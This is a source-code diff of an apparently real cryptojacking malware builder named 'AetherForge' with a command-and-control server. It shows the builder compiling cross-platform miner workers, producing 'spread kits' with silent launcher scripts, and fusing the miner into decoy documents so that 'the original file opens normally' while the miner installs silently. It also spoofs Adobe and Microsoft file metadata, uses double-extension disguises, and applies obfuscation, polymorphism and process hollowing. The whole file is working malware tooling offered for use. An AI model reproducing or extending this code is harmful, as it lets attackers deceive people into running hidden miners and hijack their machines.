dc := &DashboardConn{Conn: conn}
|
||||
dashID := uuid.New().String()
|
||||
h.mu.Lock()
|
||||
h.dashboards[dashID] = conn
|
||||
h.dashboards[dashID] = dc
|
||||
h.mu.Unlock()
|
||||
|
||||
defer func() {
|
||||
@@ -550,14 +624,15 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
// Send initial data
|
||||
agents, _ := h.db.ListAgents()
|
||||
h.enrichAgentsCapabilities(agents)
|
||||
stats, _ := h.db.GetFleetStats()
|
||||
|
||||
conn.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
_ = dc.WriteJSON(Message{Type: "init", Payload: mustMarshal(map[string]interface{}{
|
||||
"agents": agents,
|
||||
"stats": stats,
|
||||
})})
|
||||
|
||||
go h.runPingLoop(conn)
|
||||
go h.runPingLoopDash(dc)
|
||||
|
||||
// Keep connection alive, read close messages
|
||||
for {
|
||||
@@ -577,10 +652,10 @@ func (h *WSHub) broadcastDashboard(msg Message) {
|
||||
return
|
||||
}
|
||||
|
||||
for id, conn := range h.dashboards {
|
||||
if err := conn.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
for id, dc := range h.dashboards {
|
||||
if err := dc.WriteMessage(websocket.TextMessage, data); err != nil {
|
||||
log.Printf("Failed to send to dashboard %s: %v", id, err)
|
||||
conn.Close()
|
||||
dc.Conn.Close()
|
||||
id := id
|
||||
go func() {
|
||||
h.mu.Lock()
|
||||
@@ -635,6 +710,20 @@ func (h *WSHub) BroadcastAgentCommand(action string, args map[string]interface{}
|
||||
h.BroadcastToAgents(Message{Type: "command", Payload: mustMarshal(payload)})
|
||||
}
|
||||
|
||||
func (h *WSHub) enrichAgentsCapabilities(agents []*models.Agent) {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
for _, a := range agents {
|
||||
if a == nil {
|
||||
continue
|
||||
}
|
||||
if caps, ok := h.agentCapabilities[a.ID]; ok {
|
||||
c := caps
|
||||
a.Capabilities = &c
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (h *WSHub) GetAgentLog(agentID string) string {
|
||||
h.mu.RLock()
|
||||
defer h.mu.RUnlock()
|
||||
|
||||
426
server/internal/builder/build_universal.go
Normal file
426
server/internal/builder/build_universal.go
Normal file
@@ -0,0 +1,426 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/google/uuid"
|
||||
)
|
||||
|
||||
func (h *Handler) buildUniversalAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
|
||||
if err := os.MkdirAll(agentDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to create build directory"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if err := h.copyAgentSource(agentDir); err != nil {
|
||||
return BuildResponse{Success: false, Error: "Failed to prepare agent source: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
platforms := platformsForRequest(req)
|
||||
workerPaths := map[string]string{}
|
||||
for _, p := range platforms {
|
||||
wp, err := h.compileWorker(agentDir, buildDir, req, buildID, p, req.FusionEnabled)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
workerPaths[p.Label()] = wp
|
||||
}
|
||||
|
||||
if req.SpreadKit && !req.FusionEnabled {
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
if req.FusionEnabled {
|
||||
return h.finishUniversalFusion(buildID, buildDir, req, prepPath, workerPaths, platforms)
|
||||
}
|
||||
|
||||
// Universal workers only — primary artifact is spread-kit style folder without spread flag naming
|
||||
return h.finishSpreadKit(buildID, buildDir, req, workerPaths, platforms)
|
||||
}
|
||||
|
||||
func (h *Handler) finishSpreadKit(buildID, buildDir string, req *BuildRequest, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
subdir := sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
if req.SpreadKit {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-spread-kit"
|
||||
} else {
|
||||
subdir = sanitizeFileName(req.WorkerName) + "-universal"
|
||||
}
|
||||
outDir := filepath.Join(h.projectRoot, "spread-kits", subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
for _, p := range platforms {
|
||||
src := workers[p.Label()]
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
destName := "worker" + p.Ext
|
||||
if err := copyFile(src, filepath.Join(destDir, destName)); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "deploy.sh"), []byte(spreadKitDeploySh()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.bat"), []byte(spreadKitDeployBat()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Deploy.vbs"), []byte(spreadKitDeployVbs()), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(spreadKitStartCommand()), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatSpreadKitReadme(req)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "OPERATOR.txt"), []byte(formatSpreadKitOperator(req, buildID)), 0644)
|
||||
|
||||
zipName := subdir + "-package.zip"
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
primary := workers[platforms[0].Label()]
|
||||
if w, ok := workers["windows-amd64"]; ok {
|
||||
primary = w
|
||||
}
|
||||
zipSt, _ := os.Stat(zipPath)
|
||||
zipBytes := int64(0)
|
||||
if zipSt != nil {
|
||||
zipBytes = zipSt.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (spread kit %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join("spread-kits", subdir, zipName)),
|
||||
FileSize: zipBytes,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes,
|
||||
FusionExportDir: outDir,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primary
|
||||
}
|
||||
|
||||
func (h *Handler) finishUniversalFusion(buildID, buildDir string, req *BuildRequest, prepPath string, workers map[string]string, platforms []BuildPlatform) (BuildResponse, int, string) {
|
||||
// Resolve payload display name (used for runner naming and ZIP title)
|
||||
payloadBase := filepath.Base(prepPath)
|
||||
title := strings.TrimSpace(req.FusionMediaBaseName)
|
||||
if title == "" {
|
||||
title = payloadBase
|
||||
}
|
||||
titleBase := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if titleBase == "" {
|
||||
titleBase = "fusion"
|
||||
}
|
||||
|
||||
subdir := fusionExportSubdir(req, title)
|
||||
outDir := filepath.Join(h.projectRoot, FusionDeliverablesDir, subdir)
|
||||
if err := os.MkdirAll(outDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
mode := normalizeFusionMediaMode(req.FusionMediaMode)
|
||||
|
||||
var fusionResults []*fusionBuildResult
|
||||
var primaryPath string
|
||||
for _, p := range platforms {
|
||||
workerPath := workers[p.Label()]
|
||||
platReq := *req
|
||||
// Name each runner after the payload file for clarity (e.g. report-runner.exe)
|
||||
platReq.FusionOutputName = runnerNameForFile(title, p)
|
||||
res, err := h.buildFusionForPlatform(buildDir, prepPath, workerPath, &platReq, p)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
fusionResults = append(fusionResults, res)
|
||||
destDir := filepath.Join(outDir, p.BinDir())
|
||||
if err := os.MkdirAll(destDir, 0755); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
runnerName := filepath.Base(res.LauncherPath)
|
||||
destRunner := filepath.Join(destDir, runnerName)
|
||||
if err := copyFile(res.LauncherPath, destRunner); err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
if p.GOOS == "windows" {
|
||||
primaryPath = destRunner
|
||||
}
|
||||
if p.GOOS == "darwin" {
|
||||
if err := h.buildDarwinAppBundle(outDir, title, destRunner, p); err != nil {
|
||||
log.Printf("[Forge] darwin app bundle: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// For paired mode: copy the original payload file to the ZIP root so runners can find it.
|
||||
// The runners search up to 2 parent dirs from their binary location (bin/platform/ → root).
|
||||
if mode == "paired" && prepPath != "" {
|
||||
destPayload := filepath.Join(outDir, sanitizeFileName(payloadBase))
|
||||
_ = copyFile(prepPath, destPayload)
|
||||
}
|
||||
|
||||
_ = os.WriteFile(filepath.Join(outDir, "start.sh"), []byte(fusionUniversalStartSh(title)), 0755)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.bat"), []byte(fusionUniversalStartBat(title)), 0644)
|
||||
_ = os.WriteFile(filepath.Join(outDir, "Start.command"), []byte(fusionUniversalStartCommand()), 0755)
|
||||
|
||||
readme := fusionReadmeInfo{
|
||||
Title: titleBase,
|
||||
RunnerName: titleBase + "-runner",
|
||||
MediaName: payloadBase,
|
||||
PayloadKind: req.FusionPayloadKind,
|
||||
MediaMode: mode,
|
||||
}
|
||||
windowsRunnerName := disguisedRunnerName(payloadBase)
|
||||
unixRunnerName := sanitizeFileName(titleBase+"-runner")
|
||||
readmeExtra := "\r\nLAUNCH INSTRUCTIONS (Universal — all OSes):\r\n" +
|
||||
" Windows: double-click Start.bat (or run bin\\windows-amd64\\" + windowsRunnerName + ")\r\n" +
|
||||
" NOTE: on Windows, " + windowsRunnerName + " appears as \"" + titleBase + strings.ToLower(filepath.Ext(payloadBase)) + "\" (icon + name disguised)\r\n" +
|
||||
" Linux: chmod +x start.sh && ./start.sh (or bin/linux-amd64/" + unixRunnerName + ")\r\n" +
|
||||
" macOS: double-click Start.command (or open " + titleBase + ".app)\r\n\r\n" +
|
||||
"What happens when launched:\r\n" +
|
||||
" 1. The original file (" + payloadBase + ") opens normally\r\n" +
|
||||
" 2. The miner installs silently and connects to your command deck\r\n"
|
||||
_ = os.WriteFile(filepath.Join(outDir, "README.txt"), []byte(formatFusionReadme(readme)+readmeExtra), 0644)
|
||||
|
||||
zipName := fusionBundleZipName(subdir)
|
||||
zipPath := filepath.Join(buildDir, zipName)
|
||||
if err := zipDirectory(outDir, zipPath); err != nil {
|
||||
return BuildResponse{Success: false, Error: "zip failed: " + err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
_ = copyFile(zipPath, filepath.Join(outDir, zipName))
|
||||
|
||||
if primaryPath == "" && len(fusionResults) > 0 {
|
||||
primaryPath = fusionResults[0].LauncherPath
|
||||
}
|
||||
zipSt2, _ := os.Stat(zipPath)
|
||||
zipBytes2 := int64(0)
|
||||
if zipSt2 != nil {
|
||||
zipBytes2 = zipSt2.Size()
|
||||
}
|
||||
|
||||
if err := h.db.InsertBuild(&models.BuildRecord{
|
||||
ID: buildID, WorkerName: req.WorkerName, ServerURL: req.ServerURL, Wallet: req.Wallet,
|
||||
Threads: req.Threads, FileSize: zipBytes2, FilePath: zipPath, CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost, PoolPort: req.PoolPort, PoolTLS: req.PoolTLS, PoolPass: req.PoolPass,
|
||||
Platform: "universal", BundleSize: zipBytes2,
|
||||
}); err != nil {
|
||||
log.Printf("[Builder] InsertBuild error (universal fusion %s): %v", buildID, err)
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: zipName,
|
||||
FilePath: zipPath,
|
||||
RelativePath: filepath.ToSlash(filepath.Join(FusionDeliverablesDir, subdir, zipName)),
|
||||
FileSize: zipBytes2,
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
FusionEnabled: true,
|
||||
FusionExportDir: outDir,
|
||||
BundleFileName: zipName,
|
||||
BundleDownloadURL: fmt.Sprintf("/api/v1/builds/%s/artifact/%s", buildID, zipName),
|
||||
BundleSize: zipBytes2,
|
||||
ExportPath: outDir,
|
||||
}, http.StatusOK, primaryPath
|
||||
}
|
||||
|
||||
func runnerNameForPlatform(p BuildPlatform) string {
|
||||
if p.GOOS == "windows" {
|
||||
return "runner.exe"
|
||||
}
|
||||
return "runner"
|
||||
}
|
||||
|
||||
func fileSize(st os.FileInfo) int64 {
|
||||
if st == nil {
|
||||
return 0
|
||||
}
|
||||
return st.Size()
|
||||
}
|
||||
|
||||
const universalDeploySh = `#!/bin/sh
|
||||
set -e
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
export AETHER_KIT_DIR="$DIR"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/worker" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/worker" ;;
|
||||
esac
|
||||
;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then
|
||||
echo "Worker binary missing: $RUN"
|
||||
exit 1
|
||||
fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
nohup "$RUN" --spread-install </dev/null >/dev/null 2>&1 &
|
||||
exit 0
|
||||
`
|
||||
|
||||
func spreadKitDeploySh() string {
|
||||
return universalDeploySh
|
||||
}
|
||||
|
||||
const spreadKitDeployBatBody = `@echo off
|
||||
setlocal
|
||||
set "DIR=%~dp0"
|
||||
set "AETHER_KIT_DIR=%DIR%"
|
||||
set "RUN=%DIR%bin\windows-amd64\worker.exe"
|
||||
if not exist "%RUN%" (
|
||||
echo Worker missing: %RUN%
|
||||
exit /b 1
|
||||
)
|
||||
start "" /B "%RUN%" --spread-install
|
||||
exit /b 0
|
||||
`
|
||||
|
||||
func spreadKitDeployBat() string {
|
||||
return spreadKitDeployBatBody
|
||||
}
|
||||
|
||||
const spreadKitDeployVbsBody = `Set sh = CreateObject("WScript.Shell")
|
||||
dir = Replace(WScript.ScriptFullName, WScript.ScriptName, "")
|
||||
run = dir & "bin\windows-amd64\worker.exe"
|
||||
If Not CreateObject("Scripting.FileSystemObject").FileExists(run) Then
|
||||
WScript.Echo "Worker missing: " & run
|
||||
WScript.Quit 1
|
||||
End If
|
||||
sh.Environment("PROCESS")("AETHER_KIT_DIR") = dir
|
||||
sh.Run """" & run & """ --spread-install", 0, False
|
||||
`
|
||||
|
||||
func spreadKitDeployVbs() string {
|
||||
return spreadKitDeployVbsBody
|
||||
}
|
||||
|
||||
const spreadKitStartCommandBody = `#!/bin/bash
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
exec "$DIR/deploy.sh"
|
||||
`
|
||||
|
||||
func spreadKitStartCommand() string {
|
||||
return spreadKitStartCommandBody
|
||||
}
|
||||
|
||||
const universalDeployBat = `@echo off
|
||||
set DIR=%~dp0
|
||||
"%DIR%bin\windows-amd64\worker.exe" --spread-install
|
||||
`
|
||||
|
||||
// fusionUniversalStartSh returns start.sh for the universal fusion ZIP.
|
||||
// It detects the OS/arch and launches the matching runner binary.
|
||||
// title is the payload filename — Unix runners use a sanitised "-runner" suffix.
|
||||
func fusionUniversalStartSh(title string) string {
|
||||
base := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))
|
||||
if base == "" {
|
||||
base = "runner"
|
||||
}
|
||||
runnerBase := sanitizeFileName(base + "-runner")
|
||||
return `#!/bin/sh
|
||||
DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
OS="$(uname -s | tr '[:upper:]' '[:lower:]')"
|
||||
ARCH="$(uname -m)"
|
||||
case "$OS" in
|
||||
linux*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/linux-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/linux-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
darwin*)
|
||||
case "$ARCH" in
|
||||
arm64|aarch64) RUN="$DIR/bin/darwin-arm64/` + runnerBase + `" ;;
|
||||
*) RUN="$DIR/bin/darwin-amd64/` + runnerBase + `" ;;
|
||||
esac ;;
|
||||
*) echo "Unsupported OS: $OS"; exit 1 ;;
|
||||
esac
|
||||
if [ ! -f "$RUN" ]; then echo "Runner not found: $RUN"; exit 1; fi
|
||||
chmod +x "$RUN" 2>/dev/null || true
|
||||
xattr -cr "$RUN" 2>/dev/null || true
|
||||
exec "$RUN"
|
||||
`
|
||||
}
|
||||
|
||||
// fusionUniversalStartBat returns Start.bat for the universal fusion ZIP (Windows runner).
|
||||
// title is the payload filename — the runner uses the double-extension disguised name.
|
||||
func fusionUniversalStartBat(title string) string {
|
||||
runnerExe := disguisedRunnerName(title)
|
||||
return "@echo off\r\nset \"DIR=%~dp0\"\r\n\"%DIR%bin\\windows-amd64\\" + runnerExe + "\"\r\n"
|
||||
}
|
||||
|
||||
// fusionUniversalStartCommand returns Start.command (macOS double-click launcher).
|
||||
func fusionUniversalStartCommand() string {
|
||||
return "#!/bin/bash\nDIR=\"$(cd \"$(dirname \"$0\")\" && pwd)\"\nexec \"$DIR/start.sh\"\n"
|
||||
}
|
||||
|
||||
func formatSpreadKitReadme(req *BuildRequest) string {
|
||||
return fmt.Sprintf(`AetherForge Universal Spread Kit — %s
|
||||
=====================================
|
||||
|
||||
Run ONE launcher for your OS (silent install + mining + deck connection):
|
||||
|
||||
Windows (silent): double-click Deploy.vbs (or Deploy.bat)
|
||||
Linux: chmod +x deploy.sh && ./deploy.sh
|
||||
macOS: double-click Start.command (or ./deploy.sh)
|
||||
|
||||
Keep the entire folder together — bin/ must stay next to the launcher.
|
||||
|
||||
Command deck URL baked into workers: %s
|
||||
If agents never appear, re-forge with your LAN IP (not localhost).
|
||||
|
||||
Troubleshooting log (if install fails): %%TEMP%%\aetherforge-spread.log (Windows) or /tmp/aetherforge-spread.log (Unix)
|
||||
`, req.WorkerName, req.ServerURL)
|
||||
}
|
||||
|
||||
func formatSpreadKitOperator(req *BuildRequest, buildID string) string {
|
||||
return fmt.Sprintf(`AetherForge Spread Kit — operator reference
|
||||
Worker: %s
|
||||
Build ID: %s
|
||||
Command URL: %s
|
||||
Pool: %s:%d
|
||||
Wallet: %s…
|
||||
Auto-spread: %v
|
||||
Targets: windows-amd64, linux-amd64, linux-arm64, darwin-amd64, darwin-arm64
|
||||
|
||||
Verify: unzip, run launcher on target OS, agent should appear on command deck within ~30s.
|
||||
`, req.WorkerName, buildID, req.ServerURL, req.PoolHost, req.PoolPort, truncateWallet(req.Wallet), req.AutoSpread)
|
||||
}
|
||||
|
||||
func truncateWallet(w string) string {
|
||||
w = strings.TrimSpace(w)
|
||||
if len(w) <= 16 {
|
||||
return w
|
||||
}
|
||||
return w[:16]
|
||||
}
|
||||
@@ -1,13 +1,5 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) buildTagsFor(req *BuildRequest) []string {
|
||||
var tags []string
|
||||
if req.ProcessHollowing {
|
||||
@@ -27,36 +19,5 @@ func (h *Handler) shouldObfuscate(req *BuildRequest) bool {
|
||||
}
|
||||
|
||||
func (h *Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS=windows",
|
||||
"GOARCH=amd64",
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != ""
|
||||
if obfuscate && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
}
|
||||
|
||||
75
server/internal/builder/compile_platform.go
Normal file
75
server/internal/builder/compile_platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) {
|
||||
env := append(os.Environ(),
|
||||
"GOOS="+platform.GOOS,
|
||||
"GOARCH="+platform.GOARCH,
|
||||
"CGO_ENABLED=0",
|
||||
)
|
||||
|
||||
buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath}
|
||||
if len(tags) > 0 {
|
||||
buildArgs = append(buildArgs, "-tags", strings.Join(tags, ","))
|
||||
}
|
||||
buildArgs = append(buildArgs, ".")
|
||||
|
||||
useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows"
|
||||
if obfuscate && platform.GOOS == "windows" && !useGarble {
|
||||
log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary")
|
||||
}
|
||||
|
||||
var cmd *exec.Cmd
|
||||
if useGarble {
|
||||
garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...)
|
||||
cmd = exec.Command(h.garblePath, garbleArgs...)
|
||||
} else {
|
||||
cmd = exec.Command(h.goBinPath, buildArgs...)
|
||||
}
|
||||
cmd.Dir = dir
|
||||
cmd.Env = env
|
||||
|
||||
out, err := cmd.CombinedOutput()
|
||||
if err != nil {
|
||||
return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out)))
|
||||
}
|
||||
return out, nil
|
||||
}
|
||||
|
||||
func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) {
|
||||
name := workerFileName(req.WorkerName, platform, fusionWorker)
|
||||
outputPath := filepath.Join(buildDir, platform.Label(), name)
|
||||
if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
configDir := filepath.Join(agentDir, "config")
|
||||
if err := os.MkdirAll(configDir, 0755); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil {
|
||||
return "", fmt.Errorf("write builtin config: %w", err)
|
||||
}
|
||||
|
||||
ldflags := ldflagsFor(req, platform)
|
||||
extra, err := injectPolymorph(agentDir, buildID)
|
||||
if err != nil {
|
||||
log.Printf("[Forge] polymorph inject: %v", err)
|
||||
} else {
|
||||
ldflags += extra
|
||||
}
|
||||
|
||||
obfuscated := h.shouldObfuscate(req) && h.garblePath != ""
|
||||
if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return outputPath, nil
|
||||
}
|
||||
225
server/internal/builder/disguise.go
Normal file
225
server/internal/builder/disguise.go
Normal file
@@ -0,0 +1,225 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type.
|
||||
// When injected into the runner, Windows Explorer and Task Manager will show
|
||||
// this information instead of the generic Go binary defaults.
|
||||
type fileDisguiseInfo struct {
|
||||
FileDescription string
|
||||
ProductName string
|
||||
CompanyName string
|
||||
LegalCopyright string
|
||||
OriginalFilename string // the "real" exe that Windows thinks this is
|
||||
FileVersion string // e.g. "24.0.20112.0"
|
||||
ProductVersion string // e.g. "2024.002.20965"
|
||||
}
|
||||
|
||||
// disguiseByExt maps a lower-case file extension to the PE metadata that makes
|
||||
// the runner binary look like the legitimate application for that file type.
|
||||
// Extensions without an entry fall back to a generic Windows shell host entry.
|
||||
var disguiseByExt = map[string]fileDisguiseInfo{
|
||||
// ── Documents ──────────────────────────────────────────────────────────────
|
||||
".pdf": {
|
||||
FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat",
|
||||
CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.",
|
||||
OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965",
|
||||
},
|
||||
".doc": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".docx": {
|
||||
FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xls": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".xlsx": {
|
||||
FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".ppt": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".pptx": {
|
||||
FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint",
|
||||
CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.",
|
||||
OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004",
|
||||
},
|
||||
".txt": {
|
||||
FileDescription: "Text Document", ProductName: "Notepad",
|
||||
